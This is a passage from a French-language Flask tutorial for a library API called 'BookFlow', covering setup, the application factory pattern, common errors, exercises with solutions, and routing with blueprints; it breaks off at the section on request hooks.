  4. BEFORE_REQUEST HOOKS s'exécutent (si définis) :
     -> Authentification, logging, vérifications...

  5. LA FONCTION DE VUE s'exécute :
     -> def get_livres(): ...
     -> Accès à la BDD, calculs, etc.
     -> Retourne une réponse

  6. AFTER_REQUEST HOOKS s'exécutent (si définis) :
     -> Ajout d'en-têtes, logging de la réponse...

  7. WERKZEUG sérialise la réponse en HTTP :
     HTTP/1.1 200 OK
     Content-Type: application/json
     {"success": true, "data": [...]}

  8. CLIENT reçoit la réponse


LE CONTEXTE D'APPLICATION ET LE CONTEXTE DE REQUÊTE
──────────────────────────────────────────────────────
C'est un concept subtil mais CRUCIAL pour éviter des bugs mystérieux.

Flask a deux types de contextes :

  APPLICATION CONTEXT (app context) :
  -> Existe pendant toute la durée de vie de l'application
  -> Accessible via : current_app, g
  -> current_app : référence à l'application Flask active
  -> g : objet global de requête (pour partager des données entre fonctions)

  REQUEST CONTEXT (contexte de requête) :
  -> Créé pour chaque requête, détruit après
  -> Accessible via : request, session
  -> request : la requête HTTP en cours
  -> session : données de session de l'utilisateur

  from flask import Flask, request, current_app, g, session

  app = Flask(__name__)

  @app.route('/exemple')
  def exemple():
      # Ces variables sont disponibles SEULEMENT dans une requête active
      print(request.method)    # [OK] OK (dans une requête)
      print(current_app.name) # [OK] OK

      # Stocker une valeur dans g (disponible dans cette requête)
      g.utilisateur_id = 42
      return "OK"

  # [X] ERREUR si on fait ça en dehors d'une requête :
  # with app.app_context():  # <- Il faut push un contexte manuellement
  #     print(current_app.name)  # <- Maintenant ça marche


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  INSTALLATION FLASK PAS À PAS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ÉTAPE 1 — Préparer l'environnement (depuis la Partie 1) :

  # Aller dans le dossier du projet
  cd bookflow/

  # Activer l'environnement virtuel
  source venv/bin/activate      # Mac/Linux
  # ou
  venv\Scripts\activate         # Windows

  # Vérifier qu'on est dans le bon env
  which python                  # -> /chemin/vers/bookflow/venv/bin/python

ÉTAPE 2 — Installer Flask :

  pip install flask

  # Vérifier l'installation
  python -c "import flask; print('Flask', flask.__version__, 'installé !')"
  # -> Flask 3.0.0 installé !

  # Voir ce qui a été installé (Flask + ses dépendances)
  pip list
  # Flask        3.0.0
  # Werkzeug     3.0.1
  # Jinja2       3.1.2
  # click        8.1.7
  # itsdangerous 2.1.2
  # MarkupSafe   2.1.3

ÉTAPE 3 — Installer toutes les dépendances BookFlow :

  pip install flask \
              flask-sqlalchemy \
              flask-jwt-extended \
              flask-cors \
              flask-migrate \
              python-dotenv \
              bcrypt \
              marshmallow \
              flask-marshmallow \
              marshmallow-sqlalchemy

  # Sauvegarder les dépendances
  pip freeze > requirements.txt


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  PREMIÈRE APPLICATION FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

LA VERSION LA PLUS SIMPLE POSSIBLE :

  # hello.py
  from flask import Flask       # Importe la classe Flask depuis le module flask

  app = Flask(__name__)         # Crée une instance de l'application Flask
                                # __name__ = nom du module courant ("hello")
                                # Flask l'utilise pour trouver les fichiers (templates, static)

  @app.route('/')               # Décorateur : enregistre la route '/'
  def bonjour():                # Fonction de vue appelée pour GET /
      return "Bonjour Flask !"  # Retourner une chaîne = réponse HTTP 200 avec ce texte

  if __name__ == '__main__':    # Exécuter seulement si ce fichier est lancé directement
      app.run()                 # Démarrer le serveur de développement Werkzeug

LIGNE PAR LIGNE — EXPLICATION ULTRA DÉTAILLÉE :

  from flask import Flask
  ──────────────────────────
  -> On importe la classe Flask depuis le package flask
  -> flask (minuscule) = le dossier/package installé par pip
  -> Flask (majuscule) = la classe principale qu'on va instancier

  app = Flask(__name__)
  ──────────────────────────
  -> On crée une INSTANCE de la classe Flask
  -> app est l'objet central de toute l'application
  -> __name__ vaut "hello" (le nom du fichier sans .py) si on lance directement
  -> Flask utilise __name__ pour déterminer le dossier racine de l'app
    (pour trouver les templates dans ./templates/ et les fichiers statiques dans ./static/)
  -> Si __name__ = "__main__" (fichier lancé directement), Flask sait que la racine
    est le dossier courant

  @app.route('/')
  ──────────────────────────
  -> C'est un décorateur (on a vu ça en Partie 1)
  -> app.route() est une méthode de l'objet app
  -> Elle dit à Flask : "quand une requête arrive pour l'URL '/', appelle la fonction suivante"
  -> Par défaut, seules les requêtes GET sont acceptées
  -> C'est équivalent à : bonjour = app.route('/')(bonjour)

  def bonjour():
  ──────────────────────────
  -> La "fonction de vue" (view function)
  -> Nommée "bonjour" — ce nom doit être UNIQUE dans toute l'app
  -> Flask l'appellera quand quelqu'un accède à '/'

  return "Bonjour Flask !"
  ──────────────────────────
  -> Flask accepte plusieurs types de valeurs de retour :
    - str        -> réponse HTTP avec Content-Type text/html
    - dict/list  -> Flask convertit automatiquement en JSON (Flask 2.2+)
    - Response   -> objet de réponse Werkzeug (contrôle total)
    - tuple      -> (corps, code_statut) ou (corps, headers) ou (corps, code, headers)

  if __name__ == '__main__':
  ──────────────────────────
  -> Cette condition est VRAIE seulement si on lance : python hello.py
  -> Elle est FAUSSE si ce fichier est importé par un autre module
  -> Pourquoi ? Pour éviter que le serveur démarre automatiquement si importé

  app.run()
  ──────────────────────────
  -> Lance le serveur de développement Werkzeug
  -> Par défaut : http://127.0.0.1:5000
  -> Options possibles :
    app.run(host='0.0.0.0', port=8080, debug=True)
    -> host='0.0.0.0' : écoute sur toutes les interfaces (accessible depuis le réseau)
    -> port=8080 : changer le port (5000 par défaut)
    -> debug=True : mode debug (rechargement auto + debugger)

LANCER L'APPLICATION :

  python hello.py
  # ->  * Serving Flask app 'hello'
  # ->  * Debug mode: off
  # ->  * Running on http://127.0.0.1:5000
  # ->  Press CTRL+C to quit

  # Ouvrir dans le navigateur : http://localhost:5000
  # Ou tester avec curl :
  curl http://localhost:5000
  # -> Bonjour Flask !


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  LES VARIABLES D'ENVIRONNEMENT FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

MÉTHODE MODERNE : FLASK CLI

  Au lieu de lancer python app.py, la façon professionnelle est d'utiliser
  la CLI Flask avec des variables d'environnement.

  # Définir l'application Flask
  export FLASK_APP=run.py         # Mac/Linux
  set FLASK_APP=run.py            # Windows CMD
  $env:FLASK_APP="run.py"         # Windows PowerShell

  # Définir l'environnement
  export FLASK_ENV=development    # Active le mode debug
  export FLASK_DEBUG=1            # Alternative à FLASK_ENV=development

  # Lancer l'application
  flask run

  # Lancer sur un port différent
  flask run --port 8080

  # Lancer accessible depuis le réseau (attention en dev !)
  flask run --host 0.0.0.0

AVEC python-dotenv (automatique) :
  Si tu as un fichier .env et python-dotenv installé, Flask le charge automatiquement !

  # .env
  FLASK_APP=run.py
  FLASK_ENV=development
  FLASK_DEBUG=1
  SECRET_KEY=ma-cle-secrete

  # Maintenant : flask run suffit (lit le .env automatiquement)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  APPLICATION FACTORY PATTERN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le pattern "Application Factory" est LA bonne façon de structurer Flask.
Au lieu de créer app au niveau module, on crée une fonction create_app().

POURQUOI L'APPLICATION FACTORY ?
-> Permet d'avoir plusieurs configurations (dev, prod, test)
-> Évite les imports circulaires
-> Facilite les tests (chaque test crée sa propre instance)
-> C'est le standard recommandé par la doc officielle Flask

VERSION BASIQUE DE L'APPLICATION FACTORY :

  # app/__init__.py
  from flask import Flask
  from flask_sqlalchemy import SQLAlchemy
  from flask_jwt_extended import JWTManager
  from flask_cors import CORS
  from flask_migrate import Migrate

  # Créer les extensions SANS les lier à l'app (important !)
  db = SQLAlchemy()       # ORM base de données
  jwt = JWTManager()      # Gestionnaire JWT
  migrate = Migrate()     # Migrations BDD
  cors = CORS()           # Cross-Origin Resource Sharing

  def create_app(config_name='default'):
      """
      Application Factory — crée et configure l'application Flask.

      Args:
          config_name: 'development', 'production', 'testing', 'default'

      Returns:
          L'application Flask configurée
      """
      # Créer l'instance Flask
      app = Flask(__name__)

      # Charger la configuration selon l'environnement
      from .config import config_map
      app.config.from_object(config_map[config_name])

      # Initialiser les extensions avec l'app
      # (le "late binding" : extensions créées avant, liées à l'app ici)
      db.init_app(app)
      jwt.init_app(app)
      migrate.init_app(app, db)
      cors.init_app(app, resources={r"/api/*": {"origins": app.config['CORS_ORIGINS']}})

      # Enregistrer les Blueprints (modules de routes)
      from .routes.livres import livres_bp
      from .routes.auth import auth_bp

      app.register_blueprint(livres_bp, url_prefix='/api/v1')
      app.register_blueprint(auth_bp, url_prefix='/api/v1/auth')

      # Route de santé (health check)
      @app.route('/health')
      def health():
          return {"status": "OK", "app": "BookFlow API", "version": "1.0"}

      return app

FICHIER run.py (point d'entrée) :

  # run.py
  import os
  from app import create_app

  # Créer l'app avec la config appropriée
  config_name = os.getenv('FLASK_ENV', 'development')
  app = create_app(config_name)

  if __name__ == '__main__':
      app.run(
          host=os.getenv('FLASK_HOST', '127.0.0.1'),
          port=int(os.getenv('FLASK_PORT', 5000)),
          debug=app.config['DEBUG']
      )


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  BONNES PRATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[OK] Toujours utiliser l'Application Factory Pattern
[OK] Séparer la création des extensions de leur initialisation
[OK] Utiliser des variables d'environnement pour la configuration
[OK] Ne JAMAIS appeler app.run() en production (utiliser Gunicorn)
[OK] Garder app.py ou run.py minimal (juste le point d'entrée)

[X] Ne pas créer app = Flask(__name__) en dehors d'une factory
[X] Ne pas hardcoder les configurations (SECRET_KEY, etc.)
[X] Ne pas mettre toute la logique dans un seul fichier


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  8⃣  ERREURS FRÉQUENTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ERREUR 1 : "No module named 'flask'"
  Cause : L'environnement virtuel n'est pas activé
  Solution :
    source venv/bin/activate  # Mac/Linux
    venv\Scripts\activate     # Windows
    # Puis : pip install flask

ERREUR 2 : "Address already in use" (port 5000 occupé)
  Cause : Une autre app tourne sur le port 5000
  Solution :
    flask run --port 5001
    # Ou trouver et tuer le processus :
    lsof -i :5000             # Mac/Linux
    kill -9 <PID>

ERREUR 3 : "Working outside of application context"
  Cause : Tu accèdes à request, g ou current_app en dehors d'une requête
  Solution :
    with app.app_context():
        # Code qui nécessite le contexte app
        pass

ERREUR 4 : ImportError circulaire
  Cause : A importe B, B importe A (fréquent avec le pattern naïf)
  Solution : Utiliser l'Application Factory + les extensions séparées

ERREUR 5 : CORS Error (depuis le navigateur)
  Cause : Le frontend et le backend sont sur des origines différentes
  Solution :
    from flask_cors import CORS
    CORS(app)  # Ou CORS(app, origins=["http://localhost:3000"])


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  9⃣  EXERCICES PRATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 6.1 : Crée une application Flask minimale qui retourne "BookFlow API v1.0"
    quand on accède à la racine '/'. Lance-la et teste-la dans le navigateur.

  Exercice 6.2 : Ajoute une route '/about' qui retourne un dictionnaire Python avec :
    - name: "BookFlow API"
    - version: "1.0.0"
    - description: "API de gestion de bibliothèque"
    Observe que Flask 2.2+ convertit automatiquement les dict en JSON.

  Exercice 6.3 : Modifie l'app pour qu'elle utilise les variables d'environnement.
    Crée un fichier .env et charge-le avec python-dotenv.

NIVEAU INTERMÉDIAIRE :
  Exercice 6.4 : Implémente l'Application Factory Pattern complet :
    - Structure app/ avec __init__.py
    - Fichier config.py avec 3 configurations
    - Fichier run.py comme point d'entrée
    - Route /health qui retourne le statut de l'app

  Exercice 6.5 : Crée une app Flask avec deux routes :
    GET /api/v1/ping  -> retourne {"status": "pong", "timestamp": <heure actuelle>}
    GET /api/v1/info  -> retourne les infos de l'app (version, env, debug mode)

NIVEAU AVANCÉ :
  Exercice 6.6 : Implémente un système de versioning de l'API dans l'Application Factory.
    La factory doit accepter un paramètre api_version et préfixer toutes les routes.
    Teste avec /api/v1/health et /api/v2/health donnant des réponses différentes.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS DÉTAILLÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 6.1 :

  # app_simple.py
  from flask import Flask

  app = Flask(__name__)  # Crée l'instance Flask

  @app.route('/')        # Enregistre la route GET /
  def index():
      return "BookFlow API v1.0"  # Réponse texte simple

  if __name__ == '__main__':
      app.run(debug=True)  # Lance en mode debug

  # Test :
  # python app_simple.py
  # curl http://localhost:5000
  # -> BookFlow API v1.0

CORRIGÉ 6.2 :

  # app_json.py
  from flask import Flask

  app = Flask(__name__)

  @app.route('/')
  def index():
      return "BookFlow API v1.0"

  @app.route('/about')
  def about():
      # Flask 2.2+ : retourner un dict -> réponse JSON automatique
      # Content-Type: application/json
      return {
          "name": "BookFlow API",
          "version": "1.0.0",
          "description": "API de gestion de bibliothèque",
          "auteur": "Momo Traoré",
          "endpoints": ["/", "/about", "/api/v1/livres"]
      }
      # Note : code HTTP 200 par défaut
      # Pour changer le code : return {"name": "..."}, 201

  if __name__ == '__main__':
      app.run(debug=True)

  # Test :
  # curl http://localhost:5000/about
  # -> {"name": "BookFlow API", "version": "1.0.0", ...}

CORRIGÉ 6.3 :

  # .env
  FLASK_APP=app.py
  FLASK_DEBUG=1
  APP_NAME=BookFlow API
  APP_VERSION=1.0.0

  # app_env.py
  import os
  from flask import Flask
  from dotenv import load_dotenv

  load_dotenv()  # Charge les variables du fichier .env

  app = Flask(__name__)

  @app.route('/')
  def index():
      # Lire les variables d'environnement
      app_name = os.getenv('APP_NAME', 'BookFlow API')
      version = os.getenv('APP_VERSION', '1.0.0')
      return f"{app_name} v{version}"

  if __name__ == '__main__':
      debug = os.getenv('FLASK_DEBUG', '0') == '1'
      app.run(debug=debug)

CORRIGÉ 6.4 — Application Factory complète :

  ── Structure des fichiers ──
  bookflow/
  ├── app/
  │   ├── __init__.py
  │   └── config.py
  ├── .env
  ├── .gitignore
  ├── requirements.txt
  └── run.py

  ── app/config.py ──
  import os
  from dotenv import load_dotenv

  load_dotenv()

  class DevelopmentConfig:
      DEBUG = True
      TESTING = False
      SECRET_KEY = os.getenv('SECRET_KEY', 'dev-secret-key')
      SQLALCHEMY_DATABASE_URI = 'sqlite:///bookflow_dev.db'
      SQLALCHEMY_TRACK_MODIFICATIONS = False

  class ProductionConfig:
      DEBUG = False
      TESTING = False
      SECRET_KEY = os.getenv('SECRET_KEY')
      SQLALCHEMY_DATABASE_URI = os.getenv('DATABASE_URL')
      SQLALCHEMY_TRACK_MODIFICATIONS = False

  class TestingConfig:
      DEBUG = True
      TESTING = True
      SECRET_KEY = 'test-secret'
      SQLALCHEMY_DATABASE_URI = 'sqlite:///:memory:'
      SQLALCHEMY_TRACK_MODIFICATIONS = False

  config_map = {
      'development': DevelopmentConfig,
      'production': ProductionConfig,
      'testing': TestingConfig,
      'default': DevelopmentConfig
  }

  ── app/__init__.py ──
  import os
  from flask import Flask

  def create_app(config_name=None):
      """Application Factory."""
      app = Flask(__name__)

      # Déterminer la config à utiliser
      if config_name is None:
          config_name = os.getenv('FLASK_ENV', 'development')

      # Charger la config
      from .config import config_map
      app.config.from_object(config_map.get(config_name, config_map['default']))

      # Route de santé
      @app.route('/health')
      def health():
          return {
              "status": "OK",
              "app": "BookFlow API",
              "version": "1.0.0",
              "environment": config_name,
              "debug": app.config['DEBUG']
          }

      return app

  ── run.py ──
  import os
  from app import create_app

  config_name = os.getenv('FLASK_ENV', 'development')
  app = create_app(config_name)

  if __name__ == '__main__':
      print(f"Démarrage de BookFlow API en mode '{config_name}'")
      app.run(
          host='127.0.0.1',
          port=int(os.getenv('PORT', 5000)),
          debug=app.config['DEBUG']
      )

  # Test :
  # python run.py
  # curl http://localhost:5000/health
  # -> {"status": "OK", "app": "BookFlow API", ...}

CORRIGÉ 6.5 :

  from flask import Flask
  from datetime import datetime
  import os

  app = Flask(__name__)

  @app.route('/api/v1/ping')
  def ping():
      return {
          "status": "pong",
          "timestamp": datetime.utcnow().isoformat() + "Z",
          "server_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
      }

  @app.route('/api/v1/info')
  def info():
      return {
          "app": "BookFlow API",
          "version": "1.0.0",
          "environment": os.getenv('FLASK_ENV', 'development'),
          "debug": app.debug,
          "python_version": "3.11",
          "flask_version": "3.0.0"
      }

  if __name__ == '__main__':
      app.run(debug=True)


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                    CHAPITRE 7 — ROUTING : L'ART DE GÉRER LES URLS                    ║
║                    Tout ce que Flask peut faire avec les URLs                        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE LE ROUTING ?
Le routing (routage) est le mécanisme qui associe une URL à une fonction Python.
C'est le cœur de Flask : quand une requête arrive, Flask cherche quelle fonction
appeler selon l'URL et la méthode HTTP.

POURQUOI LE ROUTING EXISTE ?
Sans routing, le serveur ne saurait pas quoi faire avec chaque URL.
Le routing organise les responsabilités : chaque URL a une fonction dédiée.

Table de routage Flask = dictionnaire {(url, méthode) -> fonction}
  ('/', 'GET')              -> index()
  ('/api/livres', 'GET')    -> get_livres()
  ('/api/livres', 'POST')   -> creer_livre()
  ('/api/livres/5', 'GET')  -> get_livre(livre_id=5)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  SYNTAXE DE BASE DU ROUTING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ROUTE SIMPLE :

  from flask import Flask

  app = Flask(__name__)

  # Route GET simple
  @app.route('/api/v1/livres')
  def get_livres():
      return {"livres": []}

  # Lancer :
  # flask run
  # curl http://localhost:5000/api/v1/livres
  # -> {"livres": []}

ROUTE AVEC MÉTHODES HTTP EXPLICITES :

  from flask import Flask, request, jsonify

  app = Flask(__name__)

  # Route qui accepte GET ET POST sur la même URL
  @app.route('/api/v1/livres', methods=['GET', 'POST'])
  def livres():
      if request.method == 'GET':
          # Traiter la requête GET (lire)
          return jsonify({"action": "liste des livres", "livres": []})

      elif request.method == 'POST':
          # Traiter la requête POST (créer)
          data = request.get_json()
          return jsonify({"action": "livre créé", "data": data}), 201

  # ALTERNATIVE — Routes séparées (méthode recommandée, plus lisible) :
  @app.route('/api/v1/livres', methods=['GET'])
  def get_livres():
      return jsonify({"livres": []})

  @app.route('/api/v1/livres', methods=['POST'])
  def creer_livre():
      data = request.get_json()
      return jsonify({"message": "créé"}), 201


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  PARAMÈTRES DE ROUTE (URL DYNAMIQUES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les paramètres de route permettent d'avoir des URLs dynamiques.
Tu les définis avec des chevrons : <nom_parametre>

PARAMÈTRE BASIQUE (string par défaut) :

  @app.route('/api/v1/livres/<livre_id>')
  def get_livre(livre_id):
      # livre_id est une STRING par défaut
      print(type(livre_id))    # -> <class 'str'>
      print(livre_id)          # -> "5" (pas 5 !)
      return {"id": livre_id}

  # URL : /api/v1/livres/5     -> livre_id = "5"
  # URL : /api/v1/livres/dune  -> livre_id = "dune"

PARAMÈTRE AVEC TYPE (meilleure pratique) :

  @app.route('/api/v1/livres/<int:livre_id>')
  def get_livre(livre_id):
      # int: -> Flask convertit automatiquement en entier
      print(type(livre_id))    # -> <class 'int'>
      print(livre_id)          # -> 5 (entier Python)

      # Si l'URL contient autre chose qu'un entier -> 404 automatique
      # /api/v1/livres/abc -> 404 Not Found (flask refuse)

      return {"id": livre_id, "titre": "Dune"}

  # URL : /api/v1/livres/5   -> livre_id = 5 (int)
  # URL : /api/v1/livres/abc -> 404 automatique !

TYPES DISPONIBLES POUR LES PARAMÈTRES :

  ┌──────────┬─────────────────────────────────────────────────────────┐
  │ TYPE     │ DESCRIPTION ET EXEMPLE                                  │
  ├──────────┼─────────────────────────────────────────────────────────┤
  │ string   │ Défaut. Accepte tout sauf '/'                           │
  │          │ /livres/<string:slug> -> slug = "le-petit-prince"        │
  ├──────────┼─────────────────────────────────────────────────────────┤
  │ int      │ Entier positif uniquement                               │
  │          │ /livres/<int:id> -> id = 42                              │
  ├──────────┼─────────────────────────────────────────────────────────┤
  │ float    │ Nombre décimal                                          │
  │          │ /notes/<float:note> -> note = 4.5                        │
  ├──────────┼─────────────────────────────────────────────────────────┤
  │ path     │ Comme string mais accepte les '/'                       │
  │          │ /fichiers/<path:chemin> -> chemin = "docs/2024/file.pdf" │
  ├──────────┼─────────────────────────────────────────────────────────┤
  │ uuid     │ UUID valide uniquement                                  │
  │          │ /users/<uuid:user_id> -> user_id = UUID object           │
  └──────────┴─────────────────────────────────────────────────────────┘

PLUSIEURS PARAMÈTRES DANS UNE URL :

  @app.route('/api/v1/users/<int:user_id>/emprunts/<int:emprunt_id>')
  def get_emprunt_utilisateur(user_id, emprunt_id):
      """
      Récupère un emprunt spécifique d'un utilisateur spécifique.
      URL : /api/v1/users/3/emprunts/47
      """
      return {
          "user_id": user_id,
          "emprunt_id": emprunt_id,
          "info": f"Emprunt {emprunt_id} de l'utilisateur {user_id}"
      }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  QUERY STRING (PARAMÈTRES DE REQUÊTE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les query parameters s'ajoutent après le ? dans l'URL.
Ils servent pour les filtres, tris, pagination — jamais pour identifier une ressource.

  URL : /api/v1/livres?genre=fantasy&page=2&limit=10&sort=titre

ACCÉDER AUX QUERY PARAMETERS AVEC FLASK :

  from flask import request

  @app.route('/api/v1/livres')
  def get_livres():
      # request.args est un objet ImmutableMultiDict (comme un dict)

      # .get() -> retourne None si absent (pas d'erreur)
      genre = request.args.get('genre')           # -> "fantasy" ou None
      sort = request.args.get('sort', 'titre')    # -> valeur par défaut 'titre'

      # Avec conversion de type
      page = request.args.get('page', 1, type=int)    # -> 2 (int)
      limit = request.args.get('limit', 10, type=int) # -> 10 (int)

      # Récupérer tous les paramètres
      tous_params = dict(request.args)  # -> {"genre": "fantasy", "page": "2", ...}

      # Paramètre multi-valeur (ex: ?genre=fantasy&genre=science-fiction)
      genres = request.args.getlist('genre')  # -> ["fantasy", "science-fiction"]

      # Construire la requête selon les filtres
      # (en vrai on utiliserait SQLAlchemy pour filtrer en BDD)
      livres_filtres = [
          {"id": 1, "titre": "Le Hobbit", "genre": "fantasy"},
          {"id": 2, "titre": "Dune", "genre": "science-fiction"}
      ]

      if genre:
          livres_filtres = [l for l in livres_filtres if l["genre"] == genre]

      return {
          "success": True,
          "data": livres_filtres,
          "meta": {
              "page": page,
              "limit": limit,
              "total": len(livres_filtres),
              "filtres": {"genre": genre, "sort": sort}
          }
      }

  # Tests :
  # curl "http://localhost:5000/api/v1/livres"
  # curl "http://localhost:5000/api/v1/livres?genre=fantasy"
  # curl "http://localhost:5000/api/v1/livres?genre=fantasy&page=2&limit=5"

VALIDATION DES QUERY PARAMETERS :

  @app.route('/api/v1/livres')
  def get_livres():
      page = request.args.get('page', 1, type=int)
      limit = request.args.get('limit', 10, type=int)

      # Validation des valeurs
      if page < 1:
          return {"error": "Le numéro de page doit être >= 1"}, 400

      if limit < 1 or limit > 100:
          return {"error": "La limite doit être entre 1 et 100"}, 400

      sort_field = request.args.get('sort', 'titre')
      allowed_sorts = ['titre', 'auteur', 'date_publication', 'note']
      if sort_field not in allowed_sorts:
          return {"error": f"Tri invalide. Valeurs acceptées : {allowed_sorts}"}, 400

      # ... logique de récupération des livres
      return {"page": page, "limit": limit, "sort": sort_field}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  GÉNÉRATION D'URLS AVEC url_for()
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

url_for() est une fonction Flask qui génère les URLs à partir des noms
de fonctions. C'est CRUCIAL pour ne pas écrire les URLs en dur.

POURQUOI url_for() ?
-> Si tu changes /api/v1 en /api/v2, tu n'as qu'un seul endroit à changer
-> Pas de fautes de frappe dans les URLs
-> Gère automatiquement les caractères spéciaux (encodage)

UTILISATION DE url_for() :

  from flask import Flask, url_for, redirect

  app = Flask(__name__)

  @app.route('/api/v1/livres')
  def get_livres():
      return {"livres": []}

  @app.route('/api/v1/livres/<int:livre_id>')
  def get_livre(livre_id):
      return {"id": livre_id}

  @app.route('/test-urls')
  def test_urls():
      # Générer l'URL de get_livres (aucun paramètre)
      url1 = url_for('get_livres')
      # -> "/api/v1/livres"

      # Générer l'URL de get_livre avec un paramètre
      url2 = url_for('get_livre', livre_id=42)
      # -> "/api/v1/livres/42"

      # Avec paramètre supplémentaire -> devient query string
      url3 = url_for('get_livres', genre='fantasy', page=2)
      # -> "/api/v1/livres?genre=fantasy&page=2"

      # URL absolue (avec _external=True)
      url4 = url_for('get_livre', livre_id=1, _external=True)
      # -> "http://localhost:5000/api/v1/livres/1"

      return {
          "url1": url1,
          "url2": url2,
          "url3": url3,
          "url4": url4
      }

  @app.route('/ancien-lien')
  def ancien_lien():
      # Rediriger vers une autre route
      return redirect(url_for('get_livres'))


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  BLUEPRINTS — MODULARISATION DES ROUTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un Blueprint est un regroupement de routes connexes en un module séparé.
C'est essentiel pour organiser une API avec beaucoup d'endpoints.

SANS BLUEPRINT (problème pour les grands projets) :
  # app.py — Un seul fichier qui grossit indéfiniment
  from flask import Flask
  app = Flask(__name__)

  @app.route('/api/v1/livres')
  def get_livres(): ...

  @app.route('/api/v1/livres/<int:id>')
  def get_livre(id): ...

  @app.route('/api/v1/auth/login')
  def login(): ...

  # -> Après 50 routes, c'est illisible !

AVEC BLUEPRINT (organisation professionnelle) :

  ── app/routes/livres.py ──
  from flask import Blueprint, jsonify, request

  # Créer le Blueprint
  livres_bp = Blueprint(
      'livres',       # Nom du blueprint (utilisé dans url_for)
      __name__,       # Nom du module courant
      url_prefix='/livres'  # Préfixe appliqué à toutes les routes de ce BP
  )

  @livres_bp.route('/', methods=['GET'])
  def get_livres():
      """Liste tous les livres."""
      return jsonify({"livres": [], "total": 0})

  @livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      """Retourne un livre spécifique."""
      return jsonify({"id": livre_id, "titre": "Exemple"})

  @livres_bp.route('/', methods=['POST'])
  def creer_livre():
      """Crée un nouveau livre."""
      data = request.get_json()
      return jsonify({"message": "Livre créé", "data": data}), 201

  @livres_bp.route('/<int:livre_id>', methods=['PATCH'])
  def modifier_livre(livre_id):
      """Modifie partiellement un livre."""
      data = request.get_json()
      return jsonify({"message": f"Livre {livre_id} modifié", "data": data})

  @livres_bp.route('/<int:livre_id>', methods=['DELETE'])
  def supprimer_livre(livre_id):
      """Supprime un livre."""
      return '', 204  # 204 No Content

  ── app/routes/auth.py ──
  from flask import Blueprint, jsonify, request

  auth_bp = Blueprint('auth', __name__, url_prefix='/auth')

  @auth_bp.route('/login', methods=['POST'])
  def login():
      data = request.get_json()
      return jsonify({"token": "jwt-token-exemple", "user": data.get('email')})

  @auth_bp.route('/register', methods=['POST'])
  def register():
      data = request.get_json()
      return jsonify({"message": "Compte créé", "email": data.get('email')}), 201

  @auth_bp.route('/logout', methods=['POST'])
  def logout():
      return jsonify({"message": "Déconnecté avec succès"})

  ── app/__init__.py — Enregistrer les Blueprints ──
  from flask import Flask

  def create_app():
      app = Flask(__name__)

      # Importer et enregistrer les Blueprints
      from .routes.livres import livres_bp
      from .routes.auth import auth_bp

      # url_prefix global appliqué au moment de l'enregistrement
      app.register_blueprint(livres_bp, url_prefix='/api/v1/livres')
      app.register_blueprint(auth_bp, url_prefix='/api/v1/auth')

      # Routes finales :
      # GET  /api/v1/livres/           -> get_livres()
      # GET  /api/v1/livres/5          -> get_livre(5)
      # POST /api/v1/livres/           -> creer_livre()
      # POST /api/v1/auth/login        -> login()
      # POST /api/v1/auth/register     -> register()

      return app

URL_FOR AVEC LES BLUEPRINTS :

  from flask import url_for

  # Avec blueprint, le nom de la fonction est préfixé par le nom du blueprint
  url_for('livres.get_livres')         # -> /api/v1/livres/
  url_for('livres.get_livre', livre_id=5)  # -> /api/v1/livres/5
  url_for('auth.login')                # -> /api/v1/auth/login


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  HOOKS DE REQUÊTE (before/after request)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask permet d'exécuter des fonctions AVANT ou APRÈS chaque requête.
C'est parfait pour : authentification, logging, CORS, etc.

HOOKS DISPONIBLES :
  @app.before_request       -> Avant CHAQUE requête (sur toute l'app)
  @app.after_request        -> Après CHAQUE requête
  @app.teardown_request     -> Après la requête (même en cas d'erreur)
